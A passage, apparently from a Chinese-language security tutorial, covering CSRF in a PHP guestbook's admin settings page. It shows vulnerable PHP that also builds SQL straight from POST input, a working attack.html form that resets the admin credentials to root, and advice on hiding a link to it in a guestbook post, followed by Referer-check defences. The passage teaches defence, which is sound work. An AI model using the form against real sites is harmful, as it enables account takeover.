$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
else
{
$sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修改成功!’);";
echo " location=’pass.php’;";
echo "</script>";
}
这个文件用于修改管理密码和网站设置的一些信息,我们可以直接构造如下表单:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="随缘网络PHP留言板V1.0(带审核功能)" >
<textarea name="gg" rows="6" cols="80" >欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)!</textarea>
<textarea name="copyright" rows="6" cols="80" >随缘网络PHP留言本V1.0 版权所有:厦门随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名</textarea>
</form>
</body>
存为attack.html,放到自己网站上.sectop/attack.html,此页面访问后会自动向目标程序的pass.php提交参数,用户名修改为root,密码修改为root,然后我们去留言板发一条留言,隐藏这个链接,管理访问以后,他的用户名和密码全部修改成了root
防范方法
防范CSRF要比防范其他攻击更加困难,因为CSRF的HTTP请求虽然是攻击者伪造的,但是却是由目标用户发出的,一般常见的防范方法有下面几种:
1、检查网页的来源
2、检查内置的隐藏变量
3、使用POST,不要使用GET
检查网页来源
在//pass.php头部加入以下红色字体代码,验证数据提交
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script language=’javascript’>";
echo "alert(‘数据来源异常!’);";
&
nbsp; echo " location=’index.php’;";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>设计制作:<a href=.115cn>厦门随缘网络科技</a>";